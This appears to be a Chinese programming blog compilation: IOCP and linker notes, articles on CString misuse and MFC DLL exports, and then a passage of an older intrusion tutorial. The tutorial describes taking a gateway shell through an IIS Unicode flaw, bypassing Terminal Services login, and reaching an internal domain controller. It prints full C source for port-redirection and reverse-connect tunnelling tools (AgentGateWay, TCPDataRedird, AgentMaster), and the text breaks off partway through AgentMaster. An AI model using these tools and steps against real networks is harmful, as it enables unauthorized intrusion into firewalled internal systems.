//创建CPU数*2 + 2个线程
for i:=1 to si.dwNumberOfProcessors*2+2 do
begin
AThread := TRecvSendThread.Create( false );
AThread.CompletPort := FCompletPort;//告诉这个线程,你要去这个IOCP去访问数据
end;

OK,就这么简单,我们要做的就是建立一个IOCP,把远程连接的socket句柄绑定到刚才创建的IOCP上,最后创建n个线程,并告诉这n个线程到这个IOCP上去访问数据就可以了。

再看一下TRecvSendThread线程都干些什么:

procedure TRecvSendThread.Execute;
var
……
begin
while (not self.Terminated) do
begin
//查询IOCP状态(数据读写操作是否完成)
GetQueuedCompletionStatus( CompletPort, BytesTransd, CompletKey, POVERLAPPED(pPerIoDat), TIME_OUT );

if BytesTransd <> 0 then
….;//数据读写操作完成

//再投递一个读数据请求
WSARecv( CompletKey, @(pPerIoDat^.BufData), 1, BytesRecv, Flags, @(pPerIoDat^.Overlap), nil );
end;
end;

读写线程只是简单地检查IOCP是否完成了我们投递的读写操作,如果完成了则再投递一个新的读写请求。
应该注意到,我们创建的所有TRecvSendThread都在访问同一个IOCP(因为我们只创建了一个IOCP),并且我们没有使用临界区!难道不会产生冲突吗?不用考虑同步问题吗?
呵呵,这正是IOCP的奥妙所在。IOCP不是一个普通的对象,不需要考虑线程安全问题。它会自动调配访问它的线程:如果某个socket上有一个线程A正在访问,那么线程B的访问请求会被分配到另外一个socket。这一切都是由系统自动调配的,我们无需过问。

#pragma comment(linker, "/ENTRY:MyMain") //之后就要用ExitProcess(0);才能正常退出;
#pragma comment(lib,"msvcrt.lib") //要使用VC6.0动态链接库
#pragma comment(linker, "/ALIGN:16") //之后就不能用ASPack压;
//合并PE节
#pragma comment(linker, "/SECTION:.text,REW")
#pragma comment(linker, "/MERGE:.data=.text")
#pragma comment(linker, "/MERGE:.rdata=.text")
//也可以加命令参数
/MD /O1 /link /nologo /release /align:16 /subsystem:console /entry:MyMain /section:.text,REW /merge:.data=.text /merge:.rdata=.text

#pragma comment(linker, "/ALIGN:512") 之后就不能用ASPack压;

#pragma comment(linker, "/ENTRY:MyMain") 之后就要用ExitProcess(0);才能正常退出;

#pragma comment(linker, "/SECTION:.text,REW")
#pragma comment(linker, "/MERGE:.data=.text")
#pragma comment(linker, "/MERGE:.rdata=.text")

2005年05月24日

谈新手对CString的使用

文章来源:www.csdn.net
文章作者: i_like_cpp


CString类功能强大,比STL的string类有过之无不及.新手使用CString时,都会被它强大
的功能所吸引.然而由于对它内部机制的不了解,新手在将CString向C的字符数组转换时
容易出现很多问题.因为CString已经重载了LPCTSTR运算符,所以CString类向const
char *转换时没有什么麻烦,如下所示:
char a[100];
CString str("aaaaaa");
strncpy(a,(LPCTSTR)str,sizeof(a));
或者如下:
strncpy(a,str,sizeof(a));
以上两种用法都是正确地.因为strncpy的第二个参数类型为const char *.所以编译器
会自动将CString类转换成const char *.很多人对LPCTSTR是什么东西迷惑不解,让我们
来看看:
1.LP表示长指针,在win16下有长指针(LP)和短指针(P)的区别,而在win32下是没有区别
的,都是32位.所以这里的LP和P是等价的.
2.C表示const
3.T是什么东西呢,我们知道TCHAR在采用UNICODE方式编译时是wchar_t,在普通时编译成char
那么就可以看出LPCTSTR(PCTSTR)在UINCODE时是const wchar_t *,PCWSTR,LPCWSTR,在
多字节字符模式时是const char *,PCSTR,LPCSTR.
接下来我们看在非UNICODE情况下,怎样将CString转换成char *,很多初学者都为了方便
采用如下方法:
(char *)(LPCSTR)str.这样对吗?我们首先来看一个例子:
CString str("aa");
strcpy((char *)(LPCTSTR)str,"aaaaaaaa");
cout<<(LPCTSTR)str<<endl;
在Debug下运行出现了异常,我们都知道CString类内部有自己的字符指针,指向一个已分
配的字符缓冲区.如果往里面写的字符数超出了缓冲区范围,当然会出现异常.但这个程
序在Release版本下不会出现问题.原来对CString类已经进行了优化.当需要分配的内存
小于64字节时,直接分配64字节的内存,以此类推,一般CString类字符缓冲区的大小为
64,128,256,512…这样是为了减少内存分配的次数,提高速度.
那有人就说我往里面写的字符数不超过它原来的字符数,不就不会出错了,比如
CString str("aaaaaaa");
strcpy((char *)(LPCTSTR)str,"aa");
cout<<(LPCTSTR)str<<endl;
这样看起来是没什么问题.我们再来看下面这个例子:
CString str("aaaaaaa");
strcpy((char *)(LPCTSTR)str,"aa");
cout<<(LPCTSTR)str<<endl;
cout<<str.GetLength()<<endl;
我们看到str的长度没有随之改变,继续为7而不是2.还有更严重的问题:
CString str("aaaaaaa");
CString str1 = str;
strcpy((char *)(LPCTSTR)str,"aa");
cout<<(LPCTSTR)str<<endl;
cout<<(LPCTSTR)str1<<endl;
按说我们只改变了str,str1应该没有改变呀,可是事实时他们都变成了"aa".难道str和
str1里面的字符指针指向的缓冲区是一个.我们在Effective C++里面得知,如果你的类
内部有包含指针,请为你的类写一个拷贝构造函数和赋值运算符.不要让两个对象内部的
指针指向同一区域,而应该重新分配内存.难道是微软犯了错?
原来这里还有一个"写时复制"和"引用计数"的概念.CString类的用途很广,这样有可能
在系统内部产生大量的CString临时对象.这时为了优化效率,就采用在系统软件内部广
泛使用的"写时复制"概念.即当从一个CString产生另一个CString并不复制它的字符缓
冲区内容,而只是将字符缓冲区的"引用计数"加1.当需要改写字符缓冲区内的内容时,才
分配内存,并复制内容.以后我会给出一个"写时复制"和"引用计数"的例子
我们回到主题上来,当我们需要将CString转换成char *时,我们应该怎么做呢?其时只是
麻烦一点,如下所示:
CString str("aaaaaaa");
strcpy(str.GetBuffer(10),"aa");
str.ReleaseBuffer();
当我们需要字符数组时调用GetBuffer(int n),其中n为我们需要的字符数组的长度.使
用完成后一定要马上调用ReleaseBuffer();
还有很重要的一点就是,在能使用const char *的地方,就不要使用char *

 MFC DLL向导

原 作 者:laiyiling
原 出 处:CSDN

(一)
虽然能用DLL实现的东西都可以用COM来实现,但DLL的优点确实不少,它更容易创建。本文将讨论如何利用MFC来创建不同类型的DLL,以及如何使用他们。

一、DLL的不同类型
  使用MFC可以生成两种类型的DLL:MFC扩展DLL和常规DLL。常规DLL有可以分为动态连接和静态连接。Visual C++还可以生成WIN32 DLL,但不是这里讨论的主要对象。
1、MFC扩展DLL
  每个DLL都有某种类型的接口:变量、指针、函数、客户程序访问的类。它们的作用是让客户程序使用DLL,MFC扩展DLL可以有C++的接口。也就是它可以导出C++类给客户端。导出的函数可以使用C++/MFC数据类型做参数或返回值,导出一个类时客户端能创建类对象或者派生这个类。同时,在DLL中也可以使用DLL和MFC。
  Visual C++使用的MFC类库也是保存在一个DLL中,MFC扩展DLL动态连接到MFC代码库的DLL,客户程序也必须要动态连接到MFC代码库的DLL。(这里谈到的两个DLL,一个是我们自己编写的DLL,一个装MFC类库的DLL)现在MFC代码库的DLL也存在多个版本,客户程序和扩展DLL都必须使用相同版本的MFC代码DLL。所以为了让MFC扩展DLL能很好的工作,扩展DLL和客户程序都必须动态连接到MFC代码库DLL。而这个DLL必须在客户程序运行的计算机上。
2、常规DLL
  使用MFC扩展DLL的一个问题就是DLL仅能和MFC客户程序一起工作,如果需要一个使用更广泛的DLL,最好采用常规DLL,因为它不受MFC的某些限制。常规DLL也有缺点:它不能和客户程序发送指针或MFC派生类和对象的引用。一句话就是常规DLL和客户程序的接口不能使用MFC,但在DLL和客户程序的内部还是可以使用MFC。
  当在常规DLL的内部使用MFC代码库的DLL时,可以是动态连接/静态连接。如果是动态连接,也就是常规DLL需要的MFC代码没有构建到DLL中,这种情况有点和扩展DLL类似,在DLL运行的计算机上必须要MFC代码库的DLL。如果是静态连接,常规DLL里面已经包含了需要的MFC代码,这样DLL的体积将比较大,但它可以在没有MFC代码库DLL的计算机上正常运行。
二、建立DLL
  利用Visual C++提供的向导功能可以很容易建立一个不完成任何实质任务的DLL,这里就不多讲了,主要的任务是如何给DLL添加功能,以及在客户程序中利用这个DLL
1、导出类
  用向导建立好框架后,就可以添加需要导出类的.cpp .h文件到DLL中来,或者用向导创建C++ Herder File/C++ Source File。为了能导出这个类,在类声明的时候要加“_declspec(dllexport)”,如:
class _declspec(dllexport) CMyClass
{
  …//声明
}
如果创建的MFC扩展DLL,可以使用宏:AFX_EXT_CLASS:
class AFX_EXT_CLASS CMyClass
{
  …//声明
}
这样导出类的方法是最简单的,也可以采用.def文件导出,这里暂不详谈。
2、导出变量、常量、对象
  很多时候不需要导出一个类,可以让DLL导出一个变量、常量、对象,导出它们只需要进行简单的声明:_declspec(dllexport) int MyInt;
_declspec(dllexport) extern const COLORREF MyColor=RGB(0,0,0);
_declspec(dllexport) CRect rect(10,10,20,20);
要导出一个常量时必须使用关键字extern,否则会发生连接错误。
注意:如果客户程序识别这个类而且有自己的头文件,则只能导出一个类对象。如果在DLL中创建一个类,客户程序不使用头文件就无法识别这个类。
当导出一个对象或者变量时,载入DLL的每个客户程序都有一个自己的拷贝。也就是如果两个程序使用的是同一个DLL,一个应用程序所做的修改不会影响另一个应用程序。
我们在导出的时候只能导出DLL中的全局变量或对象,而不能导出局部的变量和对象,因为它们过了作用域也就不存在了,那样DLL就不能正常工作。如:
MyFunction()
{
    _declspec(dllexport) int MyInt;
    _declspec(dllexport) CMyClass object;
}
3、导出函数
导出函数和导出变量/对象类似,只要把_declspec(dllexport)加到函数原型开始的位置:
_declspec(dllexport) int MyFunction(int);
如果是常规DLL,它将和C写的程序使用,声明方式如下:
extern "c" _declspec(dllexport) int MyFunction(int);
实现:
extern "c" _declspec(dllexport) int MyFunction(int x)
{
  …//操作
}
如果创建的是动态连接到MFC代码库DLL的常规DLL,则必须插入AFX_MANAGE_STATE作为导出函数的首行,因此定义如下:
extern "c" _declspec(dllexport) int MyFunction(int x)
{
  AFX_MANAGE_STATE(AfxGetStaticModuleState());
  …//操作
}
有时候为了安全起见,在每个常规DLL里都加上,也不会有任何问题,只是在静态连接的时候这个宏无效而已。这是导出函数的方法,记住只有MFC扩展DLL才能让参数和返回值使用MFC的数据类型。
4、导出指针
导出指针的方式如下:
_declspec(dllexport) int *pint;
_declspec(dllexport) CMyClass object = new CMyClass;
如果声明的时候同时初始化了指针,就需要找到合适的地方类释放指针。在扩展DLL中有个函数DllMain()。(注意函数名中的两个l要是小写字母),可以在这个函数中处理指针:
# include "MyClass.h"
_declspec(dllexport) CMyClass *pobject = new CMyClass;
DllMain(HINSTANCE hInstance,DWORD dwReason,LPVOID lpReserved)
{
  if(dwReason == DLL_PROCESS_ATTACH)
  {
    …..//
  }
  else if(dwReason == DLL_PROCESS_DETACH)
  {
    delete pobject;
  }
}
常规DLL有一个从CWinApp派生的类对象处理DLL的开和关,可以使用类向导添加InitInstance/ExitInstance函数。
int CMyDllApp::ExitInstance()
{
  delete pobject;
  return CWinApp::ExitInstance();
}

三、在客户程序中使用DLL
  编译一个DLL时将创建两个文件.dll文件和.lib文件。首先将这两个文件复制到客户程序项目的文件夹里,这里需要注意DLL和客户程序的版本问题,尽量使用相同的版本,都使用RELEASE或者都是DEBUG版本。
  接着就需要在客户程序中设置LIB文件,打开Project Settings—>Link—>Object/library Modules中输入LIB的文件名和路径。如:Debug/SampleDll.lib。除了DLL和LIB文件外,客户程序需要针对导出类、函数、对象和变量的头文件,现在进行导入添加的关键字就是:_declspec(dllimport),如:
_declspec(dllimport) int MyFunction(int);
_declspec(dllimport) int MyInt;
_declspec(dllimport) CMyClass object;
extern "C" _declspec(dllimport) int MyFunction(int);
在有的时候为了导入类,要把相应类的头文件添加到客户程序中,不同的是要修改类声明的标志:
class _declspec(dllimport) CMyClass,如果创建的是扩展DLL,两个位置都是:
class AFX_EXT_CLASS CMyClass。

(二)
使用DLL的一个比较严重的问题就是编译器之间的兼容性问题。不同的编译器对c++函数在二进制级别的实现方式是不同的。所以对基于C++的DLL,如果编译器不同就有很麻烦的。如果创建的是MFC扩展DLL,就不会存在问题,因为它只能被动态连接到MFC的客户应用程序。这里不是本文讨论的重点。

一、重新编译问题
我们先来看一个在实际中可能遇到的问题:
  比如现在建立好了一个DLL导出了CMyClass类,客户也能正常使用这个DLL,假设CMyClass对象的大小为30字节。如果我们需要修改DLL中的CMyClass类,让它有相同的函数和成员变量,但是给增加了一个私有的成员变量int类型,现在CMyClass对象的大小就是34字节了。当直接把这个新的DLL给客户使用替换掉原来30字节大小的DLL,客户应用程序期望的是30字节大小的对象,而现在却变成了一个34字节大小的对象,糟糕,客户程序出错了。
  类似的问题,如果不是导出CMyClass类,而在导出的函数中使用了CMyClass,改变对象的大小仍然会有问题的。这个时候修改这个问题的唯一办法就是替换客户程序中的CMyClass的头文件,全部重新编译整个应用程序,让客户程序使用大小为34字节的对象。
  这就是一个严重的问题,有的时候如果没有客户程序的源代码,那么我们就不能使用这个新的DLL了。

二、解决方法  
为了能避免重新编译客户程序,这里介绍两个方法:(1)使用接口类。(2)使用创建和销毁类的静态函数。
1、使用接口类
  接口类的也就是创建第二个类,它作为要导出类的接口,所以在导出类改变时,也不需要重新编译客户程序,因为接口类没有发生变化。
  假设导出的CMyClass类有两个函数FunctionA FunctionB。现在创建一个接口类CMyInterface,下面就是在DLL中的CMyInterface类的头文件的代码:
# include "MyClass.h"
class _declspec(dllexport) CMyInterface
{
  CMyClass *pmyclass;
  CMyInterface();
  ~CMyInterface();
public:
  int FunctionA(int);
  int FunctionB(int);
};
而在客户程序中的头文件稍不同,不需要INCLUDE语句,因为客户程序没有它的拷贝。相反,使用一个CMyClass的向前声明,即使没有头文件也能编译:
class _declspec(dllexport) CMyInterface
{
  class CMyClass;//向前声明
  CMyClass *pmyclass;
  CMyInterface();
  ~CMyInterface();
public:
  int FunctionA(int);
  int FunctionB(int);
};
在DLL中的CMyInterface的实现如下:
CMyInterface::CMyInterface()
{
    pmyclass = new CMyClass();
}
CMyInterface::~CMyInterface()
{
  delete pmyclass;
}
int CMyInterface::FunctionA()
{
  return pmyclass->FunctionA();
}
int CMyInterface::FunctionB()
{
  return pmyclass->FunctionB();  
}
…..
对导出类CMyClass的每个成员函数,CMyInterface类都提供自己的对应的函数。客户程序与CMyClass没有联系,这样任意改CMyClass也不会有问题,因为CMyInterface类的大小没有发生变化。即使为了能访问CMyClass中的新增变量而给CMyInterface类加了函数也不会有问题的。
  但是这种方法也存在明显的问题,对导出类的每个函数和成员变量都要对应实现,有的时候这个接口类会很庞大。同时增加了客户程序调用所需要的时间。增加了程序的开销。
2、使用静态函数
  还可以使用静态函数来创建和销毁类对象。创建一个导出类的时候,增加两个静态的公有函数CreateMe()/DestroyMe(),头文件如下:
class _declspec(dllexport) CMyClass
{
  CMyClass();
  ~CMyClass();
public:
  static CMyClass *CreateMe();
  static void DestroyMe(CMyClass *ptr);
};
实现函数就是:
CMyClass * CMyClass::CMyClass()
{
    return new CMyClass;
}
void CMyClass::DestroyMe(CMyClass *ptr)
{
    delete ptr;
}
然后象其他类一样导出CMyClass类,这个时候在客户程序中使用这个类的方法稍有不同了。如若想创建一个CMyClass对象,就应该是:
CMyClass x;
CMyClass *ptr = CMyClass::CreateMe();
在使用完后删除:
CMyClass::DestroyMe(ptr);
 

2005年05月21日

在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内

网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。
  也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。
  Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows
2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。
<<第一部分:利用TCP socket数据转发进入没有防火墙保护的内网>>
  假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。
  我们的目标是连接上敌人内网的Terminal
Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows
2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts
kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP
socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。
攻击流程如下:
<1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP
3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。
<2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。
<3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP
socket连接到自己内网的TermServer[192.168.1.3]
<4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)
程序代码如下:
/**********************************************************************
Module Name:AgentGateWay.c
Date:2001/4/15
CopyRight(c) eyas
说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,
就可以进入内网了
sock[0]==>sClient sock[1]==>sTarget
**********************************************************************/
#include
#include
#include "TCPDataRedird.c"
#define TargetIP TEXT("192.168.1.3")
#define TargetPort (int)3389
#define ListenPort (int)3389//监听端口
#pragma comment(lib,"ws2_32.lib")
int main()
{
WSADATA wsd;
SOCKET sListen=INVALID_SOCKET,//本机监听的socket
sock[2];
struct sockaddr_in Local,Client,Target;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("\nWSAStartup() failed:%d",GetLastError());
__leave;
}
sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sListen==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
Local.sin_addr.s_addr=htonl(INADDR_ANY);
Local.sin_family=AF_INET;
Local.sin_port=htons(ListenPort);

Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);

if(bind(sListen,(struct sockaddr
*)&Local,sizeof(Local))==SOCKET_ERROR)
{
printf("\nbind() failed:%d",GetLastError());
__leave;
}
if(listen(sListen,1)==SOCKET_ERROR)
{
printf("\nlisten() failed:%d",GetLastError());
__leave;
}
//scoket循环
while(1)
{
printf("\n\n*************Waiting Client Connect
to**************\n\n");
iAddrSize=sizeof(Client);
//get socket sClient
sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("\naccept() failed:%d",GetLastError());
break;
}
printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),
ntohs(Client.sin_port));
//create socket sTarget
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//connect to target port
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("\nconnect() failed:%d",GetLastError());
__leave;
}
printf("\nconnect to target 3389 success!");
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
WaitForSingleObject(hThreadT2C,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[1]);
closesocket(sock[0]);
printf("\n\n*****************Connection
Close*******************\n\n");
}//end of sock外循环
}//end of try
__finally
{
if(sListen!=INVALID_SOCKET) closesocket(sListen);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/*************************************************************************
Module:TCPDataRedird.c
Date:2001/4/16
CopyRight(c) eyas
HomePage:www.patching.net
Thanks to shotgun
说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget
*************************************************************************/
#define BuffSize 20*1024 //缓冲区大小20k
//此函数负责从Client读取数据,然后转发给Target
DWORD WINAPI TCPDataC2T(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize
char szSendToTargetBuff[BuffSize]=,
szRecvFromClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
printf("\n\n*****************Connection
Active*******************\n\n");
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdread);
FD_SET(sock[1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("\nselect() failed:%d",GetLastError());
break;
}
//printf("\nselect() return value ret=%d",ret);
if(ret>0)
{
//sClinet可读,client有数据要发送过来
if(FD_ISSET(sock[0],&fdread))
{
//接收sock[0]发送来的数据
iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("\nrecv() from sock[0] failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("\nrecv %d bytes from sClinet.",iRet);
//把从client接收到的数据存添加到发往target的缓冲区
memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);
//刷新发往target的数据缓冲区当前buff大小
iSTTBCS+=iRet;
//清空接收client数据的缓冲区
memset(szRecvFromClientBuff,0,BuffSize);
}
//sTarget可写,把从client接收到的数据发送到target
if(FD_ISSET(sock[1],&fdwrite))
{
//转发数据到target的3389端口
iLeft=iSTTBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("\nsend() to target failed:%d",GetLastError());
break;
}
printf("\nsend %d bytes to target",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空缓冲区
memset(szSendToTargetBuff,0,BuffSize);
//重置发往target的数据缓冲区当前buff大小
iSTTBCS=0;
}
}//end of select ret
Sleep(1);
}//end of data send & recv循环
return 0;
}
//此函数负责从target读取数据,然后发送给client
DWORD WINAPI TCPDataT2C(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize
char szRecvFromTargetBuff[BuffSize]=,
szSendToClientBuff[BuffSize]=;
fd_set fdread,fdwrite;

while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdwrite);
FD_SET(sock[1],&fdread);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("\nselect() failed:%d",GetLastError());
break;
}
if(ret>0)
{
//sTarget可读,从target接收数据
if(FD_ISSET(sock[1],&fdread))
{
//接收target返回数据
iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("\nrecv() from target failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("\nrecv %d bytes from target",iRet);
//把从target接收到的数据添加到发送到client的缓冲区
memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);
//清空接收target返回数据缓冲区
memset(szRecvFromTargetBuff,0,BuffSize);
//刷新发送到client的数据缓冲区当前大小
iSTCBCS+=iRet;
}
//client可写,发送target返回数据到client
if(FD_ISSET(sock[0],&fdwrite))
{
//发送target返回数据到client
iLeft=iSTCBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("\nsend() to Client failed:%d",GetLastError());
break;
}
printf("\nsend %d bytes to Client",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空缓冲区
memset(szSendToClientBuff,0,BuffSize);
iSTCBCS=0;
}
}//end of select ret
Sleep(1);
}//end of while
return 0;
}
(利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网)
  事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:
上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。
〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。
〈2〉敌人[其实是friend啦]的网关OS是2k adv
server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP
PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP
socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。
攻击流程如下:
〈1〉在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT
12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。
〈2〉在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT
12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]
〈3〉我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389
〈4〉敌人网关上的AgentSlave连接到自己本身在内网的IP==〉192.168.1.1:3389
〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。
  后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。
程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的:
/******************************************************************************
Module Name:AgentMaster.c
Date:2001/4/16
CopyRight(c) eyas
说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个
scoket都连接成功后,开始转发数据
sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]
******************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetPort 3389//伪装的target的监听端口
#define LocalPort 12345//等待AgentSlave来connect的端口
int main()
{
WSADATA wsd;
SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接
s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接
sock[2]=;
struct sockaddr_in Local3389,Local1981,Attack,Slave;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
//load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("\nWSAStartup() failed:%d",GetLastError());
__leave;
}
//create socket
s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s3389==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//create socket
s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s1981==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//fill the struct
Local3389.sin_addr.s_addr=htonl(INADDR_ANY);
Local3389.sin_family=AF_INET;
Local3389.sin_port=htons(TargetPort);
Local1981.sin_addr.s_addr=htonl(INADDR_ANY);
Local1981.sin_family=AF_INET;
Local1981.sin_port=htons(LocalPort);
//bind s3389 for attacker
if(bind(s3389,(struct sockaddr
*)&Local3389,sizeof(Local3389))==SOCKET_ERROR)
{
printf("\nbind() failed:%d",GetLastError());
__leave;
}
//listen for attacker to connect
if(listen(s3389,1)==SOCKET_ERROR)
{
printf("\nlisten() failed:%d",GetLastError());
__leave;
}
//bind s1981 for AgentSlave
if(bind(s1981,(struct sockaddr
*)&Local1981,sizeof(Local1981))==SOCKET_ERROR)
{
printf("\nbind() failed:%d",GetLastError());
__leave;
}
//listen for AgentSlave to connect
if(listen(s1981,1)==SOCKET_ERROR)
{
printf("\nlisten() failed:%d",GetLastError());
__leave;
}
//socket循环
while(1)
{
//wait for AgentSlave to connect
iAddrSize=sizeof(Slave);
sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);
if(sock[1]==INVALID_SOCKET)
{
printf("\naccept() failed:%d",GetLastError());
break;
}
printf("\nAccept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr),
ntohs(Slave.sin_port));
//wait for Attacker to connect
iAddrSize=sizeof(Attack);
sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("\naccept() failed:%d",GetLastError());
break;
}
printf("\nAccept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr),
ntohs(Attack.sin_port));
//创建两个线程进行数据转发
